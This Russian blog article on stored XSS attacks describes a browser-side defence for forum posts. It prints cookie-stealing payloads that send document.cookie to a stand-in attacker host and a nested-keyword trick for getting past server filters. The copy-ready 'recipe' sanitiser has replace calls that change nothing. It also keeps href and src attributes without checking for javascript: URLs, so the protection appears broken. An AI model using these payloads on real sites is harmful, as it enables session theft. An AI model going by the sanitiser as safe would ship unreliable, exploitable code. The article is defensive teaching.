Sadda.ru Ironetcart Андроид Ассемблер MASM32 Linux Все статьи Table of Contents


 

Хранимые XSS-атаки и защита от них
(удаляем javascript из html в браузере)

  Макс Петров август 2014

Хранимые XSS-атаки

      Cross Site Scripting атака - это злонамеренное программное воздействие на браузер пользователя в целях кражи данных или причинения иного вреда. Чтобы не бросать тень на CSS (Caskading Style Sheets), договорились в сокращенном обозначении заменять первый символ, получили аббревиатуру: XSS-атака.

      Хранимые XSS-атаки - такие, при которых скрипт добавляется злоумышленником в тело страницы (посредством форм ввода - текстовых полей, инпутов, contenteditable- элементов - на форумах, в гостевых книгах и т.п.). Вставленный в сообщение замаскированный XSS-скрипт сохраняется (отсюда и название) сайтом, затем, при запросе пользователями зараженной страницы, запускается и атакует.

Варианты оформления внедряемого XSS-кода, ворующего куки

      В тегах <SCRIPT> . . . </SCRIPT> :
<script type='text/javascript'> location.href="http://example.com/" + document.cookie; </script>

      В виде обработчика событий в html-теге :
<p onmouseover='location.href="http://example.com/" + document.cookie'> Какой-то текст </p>

      С использованием псевдопротокола javascript: :
<iframe src='javascript:open("http://example.com/" + document.cookie)'></iframe>

      Результатом встраивания любого из этих примеров в страницу чужого сайта будет формирование от браузеров, загрузивших ее, запроса вида
      http://example.com/login=sasha;%20parol=terminator,
где http://example.com/ - сайт злоумышленника, а login=sasha, parol=terminator - куки с компьютера пользователя (куки или сам тип воруемой информации могут быть иными, но нам данное обстоятельство сейчас не важно). На сайте вора страницы с запрашиваемым адресом, понятно, нет, поэтому сервер его домена (http://example.com/) сгенерирует 404-ошибку, которую легко перехватить и записать адрес запроса в лог. Таким образом, когда вредитель внедрит в страницу чужого сайта любой из вышеприведенных XSS-скриптов (в отсутствие мер защиты на сайте), тогда в течение некоторого времени на сервере http://example.com/ автоматически сформируется лог-файл, содержащий сведения о куках с браузеров всех загрузивших зараженную страницу пользователей.

Серверная защита от хранимых XSS-атак

      Решение проблемы очевидно: исключить возможность программного исполнения в браузере вводимого пользователем, сохраняемого и показываемого затем другим пользователям текста. Следовательно, необходимо нейтрализовать во вводе все те места, которые явно или предположительно включают в себя скрипт, как то:
      - контейнеры <SCRIPT> . . . </SCRIPT>;
      - обработчики событий в тегах;
      - псевдопротоколы javascript: .

      Под сомнение попадают также ссылки, картинки, стили в тегах (там может быть "background") - все, где может быть указан Интернет-адрес, соответственно, может быть записан псевдопротокол javascript: .

      Казалось бы, просто: убрать из текста заранее известные опасные последовательности символов. Так обычно и делают: на сервере php-обработчик (фильтр) парсит ввод, вырезает из него или заменяет в нем подозрительные фрагменты. Но! Браузеры ведь исполняют JavaScript, ничего "не зная" о PHP, сервер, наоборот, "не ведает" о javascript-е. В серверной защите плохо то, что она, по большому счету, не понимает, что она делает. Отсюда становятся понятными усилия "умельцев" хранимых XSS-атак. Последние двигаются в направлении подбора для атакуемых движков такого способа порчи вредоносного скрипта, при котором фильтр на сервере уже его не распознает, а иногда даже помогает заражению сайта.

      Простейший пример. Злоумышленник вводит:
      <p oonmouseovernmouseover='location.href="http://example.com/" + document.cookie'>
Сообщение отправляется на север. На сервере фильтр "видит" опасную символьную последовательность onmouseover и вырезает ее. В итоге, не представляющее никакой угрозы (не распознаваемое браузерами) oonmouseovernmouseover превращается в onmouseover, т.е. в понятное браузерам указание на событие. В общем случае, хранимые XSS-атаки так и осуществляют: вводят в поля сайта комбинации символов, отправляют, смотрят, что получается на выходе. Далее делают предположения о том, как работает фильтр и начинают составлять "боевую" комбинацию для него.

      Чтобы полноценно распознавать html на сервере, там нужен html-парсер, который учтет все, вплоть до особенностей различных версий того или иного браузера. Не кросс-, а СВЕРХ-браузерный парсер. Решение может быть более сложным, чем сама задача.

Браузерная защита от хранимых XSS-атак

      Html-парсеры ведь уже есть - в браузерах. Пользуясь этим, заманчиво переложить задачу распознавания хранимых XSS-атак (ну, и защиту от них) на сами браузеры. Тогда станет ненужным предугадывать на сервере, увидит ли в добавленном на форум сообщении активное содержимое Firefox, увидит ли там активное содержимое Интернет-эксплорер и т.д. Логичнее спросить у браузера: "Ты, Firefox, видишь здесь скрипт?". Или: "Ты, Интернет-эксплорер, видишь в этом сообщении активное содержимое?" Если браузер - именно этот, конкретный, этой версии - обнаружил скрипт, тогда можно отдать браузеру приказ нейтрализовать обнаруженное.

Безопасная загрузка в браузер

      Скрипты выполняются браузером по ходу загрузки страницы. Пусть даже фрагмент текста невидим или скрыт - если там есть скрипт, скрипт обязательно будет запущен. Какого-то html-контейнера, запрещающего исполнение скриптов, до сих пор не изобретено (если бы такой контейнер придумали, вопроса хранимых XSS-атак не стояло бы в принципе).

      Нам нужна "пассивная" загрузка - чтобы скрипты не запускались. Единственное, что приходит на ум - использовать комментарий (<!-- . . . -->). Закомментированное браузерами не интерпретируется, не отображается, но загружается и встраивается в DOM (Document Object Model). Таким образом, заведомо имея на странице сайта подозрительный в отношении XSS контент, мы можем, тем не менее, безбоязненно отдавать эту страницу браузерам, лишь предварительно закомментировав сомнительные в плане безопасности фрагменты.

      По окончании загрузки, браузер должен отмеченные нами части текста проанализировать, обезопасить их, затем только показать пользователю. Событие, соответствующее окончанию загрузки страницы, есть, называется оно onload, применимо к контейнеру body. Значит, тело страниц нашего сайта, по крайней мере, тех из них, которые содержат добавляемый пользователями контент, должно реагировать на окончание загрузки:
      <body onload='getid("message")'>,
где getid("message") - функция, принимающая идентификатор того html-контейнера, содержимое которого должно быть проанализировано и обезврежено.

Функция: выборщик фрагментов

      Интернет-эксплорер версий 6 или 7, сейчас - летом 2014 года - еще используют. Исходя из рунетовских статистик можно оценить долю эксплореров 6 и 7, вместе взятых, в 1% трафика. Пожалуй, это самые уязвимые браузеры. Я думаю, защиту надо строить такую, которая будет работать, начиная с шестого эксплорера. Пусть это и даст некоторые шероховатости в коде.

      Шестой эксплорер в ответ на document.getElementByClassName() выдает объект (не коллекцию объектов, как можно было бы ожидать). Подстраиваться приходится под самого слабого, поэтому, будем получать фрагменты текста так, как хочет эксплорер 6 - по одному. Опираться будем все же на id, но при этом допуская множество фрагментов с одинаковым id на одной странице. Такое против правил, зато получится кроссбраузерно.

      Функция getid(id) :
function getid(id) { var obj; while ( document.getElementById(id) ) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("<!--", "").replace("-->", ""); clearhtml(obj); obj.innerHTML = obj.innerHTML.replace(/<[^>]*?script[^>]*?>/gi, ""); obj.innerHTML = obj.innerHTML.replace(/<[^>]*?js:[^>]*?>/gi, ""); } }

      Ничего сложного, тем не менее, по каждой строке есть пояснения - в титлах (просто наведите курсор).

Функция: чистильщик html

      Пользуясь методами и свойствами DOM, в частности, можно получить:
      - массив вложенных html-контейнеров;
      - имя каждого вложенного html-контейнера;
      - имена всех атрибутов каждого html-контейнера.
В записи вида
      <div id="a2" class="myclass" contenteditable="true" align="right" onmousemove="alert('onmousemove!')" style="color:green" bebebe="hi-hi-hi">
div - это имя html-контейнера (узла, или ноды); а id="a2", class="myclass", contenteditable="true", align="right", onmousemove="alert('onmousemove!')", style="color:green", bebebe="hi-hi-hi" - это его атрибуты. Все, что записано в теге по форме имя="значение", является атрибутом. Атрибутом будут и идентификатор, и класс, и стиль, и обработчик события, и бессмыслица типа bebebe="hi-hi-hi". В DOM атрибуты не классифицируются в зависимости от их имени и значения. Запросить же и получить от браузера именно атрибуты-обработчики событий нельзя.

      Применим подход "белого списка" - исчерпывающего перечня разрешенных тегов и атрибутов. Все, что не соответствует белому списку, будем безжалостно уничтожать. Алгоритм: перебрать все дочерние узлы, удаляя такие, которых нет в разрешающем списке, таким же образом перебрать все атрибуты для каждого из разрешенных узлов.

      Функции высшего порядка - array.forEach(), array.some() - применить не получится, шестой Интернет-эксплорер таких функций не поймет. Обойдемся простыми циклами. Кроме того, шестой эксплорер для любого тега будет находить полный комплект атрибутов (несколько десятков), даже в том случае, если никаких атрибутов в теге записано не было. Поэтому, придется прослеживать по свойству specified , задан ли каждый атрибут явно.

      Еще одна сложность, связанная с шестым эксплорером. Не удается в нем удалить атрибуты-обработчики событий, используя общеупотребимое для других браузеров node.removeAttribute("attrName"). Срабатывает в эксплорере для атрибутов-обработчиков такое: node.attrName = null, однако, тогда надо будет проверять (хотя бы по первым символам "on"), является ли атрибут обработчиком - иначе получим аварийное прервание скрипта при попытке обнулить какой-нибудь необнуляемый атрибут (например, contentEditable).

      Функция clearhtml(obj) :
var tlist = new Array ( 'DIV', 'SPAN', 'IMG', 'P', 'A', 'B', 'I', 'U', 'S', 'TABLE', 'TBODY', 'TR', 'TH', 'TD', 'SUP', 'SUB' ) var alist = new Array ( "class", "style", "align", "src", "href", "alt", "title" ) function clearhtml(obj) { var children = obj.children; for (var i = 0; i < children.length; i++) { if ( children[i].tagName.toUpperCase() == 'BR' ) { continue; } for ( var j = 0; j < tlist.length; j++) { if(children[i].tagName.toUpperCase() == tlist[j]){tagcor = true; break;}else{tagcor = false;} } if ( tagcor ) { j = 0; while (children[i].attributes[j]) { if ( children[i].attributes[j].specified ) { for (var k = 0; k < alist.length; k++) { if (children[i].attributes[j].nodeName == alist[k]){attrcor = true; break;}else{attrcor = false;} } if ( !attrcor ) { if (children[i].attributes[j].nodeName.substring(0,2) == "on") { children[i][children[i].attributes[j].nodeName] = null; } children[i].removeAttribute(children[i].attributes[j].nodeName); children[i].className = "SCRIPTCONTENT"; j--; } } j++; } clearhtml(children[i]); } else { obj.className = "SCRIPTCONTENT"; obj.removeChild(children[i]); } } }

      Пояснения в титлах. Понятия тег, узел, html-контейнер используются, как синонимы.

      Вот и все. Работоспособность кода проверена в браузерах: Internet Explorer 6; SlimBrowser 7.00 build 103; Avant Browser 2014 build 7; Firefox 12.0; Safari 5.0.2; Comodo Dragon 4.1.1.12; Opera 18.0; Yandex 13.12.1599.12785; SRWare Iron 6.0.475; Chromium 28.0.1500.75.

В виде рецепта

      Для тех, кто желает использовать это, не вникая в смысл, изложу в форме рецепта, годного к быстрому применению.

      Файл script.js :
<SCRIPT> // это разрешенные html-контейнеры (все остальные будут удалены вместе с содержимым): var tlist = new Array ( 'DIV', 'SPAN', 'IMG', 'P', 'A', 'B', 'I', 'U', 'S', 'TABLE', 'TBODY', 'TR', 'TH', 'TD', 'SUP', 'SUB' ) // это разрешенные атрибуты (все остальные будут удалены из разрешенных тегов): var alist = new Array ( "class", "style", "align", "src", "href", "alt", "title" ) function getid(id) { var obj; while ( document.getElementById(id) ) { obj = document.getElementById(id); obj.removeAttribute("id"); obj.innerHTML = obj.innerHTML.replace("<!--", "").replace("-->", ""); obj.innerHTML = obj.innerHTML.replace(/script:/gi, "script:"); obj.innerHTML = obj.innerHTML.replace(/js:/gi, "js:"); clearhtml(obj); } } function clearhtml(obj) { var children = obj.children; for (var i = 0; i < children.length; i++) { if ( children[i].tagName.toUpperCase() == 'BR' ) { continue; } for ( var j = 0; j < tlist.length; j++) { if(children[i].tagName.toUpperCase() == tlist[j]){tagcor = true; break;}else{tagcor = false;} } if ( tagcor ) { j = 0; while (children[i].attributes[j]) { if ( children[i].attributes[j].specified ) { for (var k = 0; k < alist.length; k++) { if (children[i].attributes[j].nodeName == alist[k]){attrcor = true; break;}else{attrcor = false;} } if ( !attrcor ) { if (children[i].attributes[j].nodeName.substring(0,2) == "on") { children[i][children[i].attributes[j].nodeName] = null; } children[i].removeAttribute(children[i].attributes[j].nodeName); children[i].className = "SCRIPTCONTENT"; j--; } } j++; } clearhtml(children[i]); } else { obj.className = "SCRIPTCONTENT"; obj.removeChild(children[i]); } } } </SCRIPT>

      Страница сайта на сервере:
<html> <head> <script type="text/javascript" src="script.js"></script> </head> <body onload='getid("message")'> <div id ="message"> <!-- <?php require("message-255.htm"); ?> --> </div> <div id ="message"> <!-- <?php require("message-256.htm"); ?> --> </div> <div id ="message"> <!-- <?php require("message-257.htm"); ?> --> </div> </body> </html>

      Красным выделено необходимое. Добавляемый потенциально опасный фрагмент должен подгружаться сервером именно в тег комментария. Из добавляемого фрагмента на сервере надо обязательно удалить (или заменить чем-либо) символьные последовательности: <!-- и -->. Разрешенные теги и атрибуты записывайте в файл скрипта.

Обсуждение

      Все вышеизложенное вызвано моими усилиями по написанию визуального редактора для движка "Железный Бураттин". Поэтому, вопросы, замечания, мнения пишите на форум поддержки, в раздел Визуальный редактор .



Ironetcart

      Техническая поддержка: http://ironburattin.ru
      Взять движок: Форум на файлах «Ironetcart» (скачать)

      Разработка форумного движка
      Форум «Железный Бураттин» (название и концепция)
      Статическая защита форм
      Идеальная капча
      Как я победил магические кавычки
      Внеклавиатурные символы HTML
      Хранимые XSS-атаки и защита от них (удаляем javascript из html в браузере)
      Защита визуального html-редактора (фильтрация HTML на стороне сервера)
      Скорость движка форума: файлы или база данных
      Прогресс-бар на PHP
      Зачем тупому форуму поиск?

     


© Max Petrov При использовании материалов ссылка на sadda.ru обязательна